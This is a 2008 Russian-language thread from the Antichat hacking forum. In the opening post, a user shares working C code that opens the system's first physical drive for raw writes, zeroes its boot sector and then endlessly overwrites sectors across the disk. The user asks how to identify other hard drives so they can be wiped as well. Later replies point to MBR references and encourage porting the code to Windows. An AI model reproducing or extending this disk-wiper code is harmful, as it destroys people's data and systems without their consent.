Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Как определить идентификатор жесткого диска? |

02.06.2008, 15:16
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
Как определить идентификатор жесткого диска?
Вот к примеру с помощью такого примитива
Код:
des()
{
HANDLE fs;DWORD num;
char bf1[512];char bf2[1024*256];
char *disk="\\\\.\\PHYSICALDRIVE0";
int sek=0;
fs=CreateFile(disk,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,NULL);
memset(bf2,0,1024*256);
for(;;)
{
SetFilePointer(fs,512*sek,NULL,FILE_BEGIN);
if(sek==0)
{
memset(bf1,0,512);
WriteFile(fs,bf1,512,&num,NULL);
}
sek=sek+1024;
WriteFile(fs,bf2,512,&num,NULL);
}
}
Можно подпортить инфу на жестком диске.Но насколько я понимаю данные потрутся только на харде с которого грузится винда(PHYSICALDRIVE0).А если есть другие харды , то как можно получить их идентификаторы при этом не спутав хард с оптическим приводом?
|
|
|

02.06.2008, 15:45
|
|
Познающий
Регистрация: 17.01.2008
Сообщений: 94
Провел на форуме: 314553
Репутация:
38
|
|
читай Mbr
http://www.opennet.ru/base/dev/hdd_struct2.txt.html
Последний раз редактировалось KSoniX; 02.06.2008 в 15:53..
|
|
|

02.06.2008, 19:06
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
Сообщение от KSoniX
читай Mbr
http://www.opennet.ru/base/dev/hdd_struct2.txt.html
Причем здесь загрузочный сектор???Я хотел узнать как можно железки типа HDD опознать под виндой.Тем более ссылка по линуксу.
Последний раз редактировалось _nic; 02.06.2008 в 19:10..
|
|
|

04.06.2008, 09:32
|
|
Познающий
Регистрация: 17.01.2008
Сообщений: 94
Провел на форуме: 314553
Репутация:
38
|
|
в загрузочный секторе хранится инфо по разделам
или я тебя не понял, если тебе серийный номер диска нужен то смотри здесь
https://forum.antichat.ru/thread71136.html
Последний раз редактировалось KSoniX; 04.06.2008 в 09:53..
|
|
|

11.06.2008, 22:29
|
|
Познающий
Регистрация: 24.03.2008
Сообщений: 35
Провел на форуме: 90653
Репутация:
3
|
|
структуры то общие 
а портировать под винду проблем не составляет, только устройства разные открывать, а так может чтото поинтереснее мбр напишешь 
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|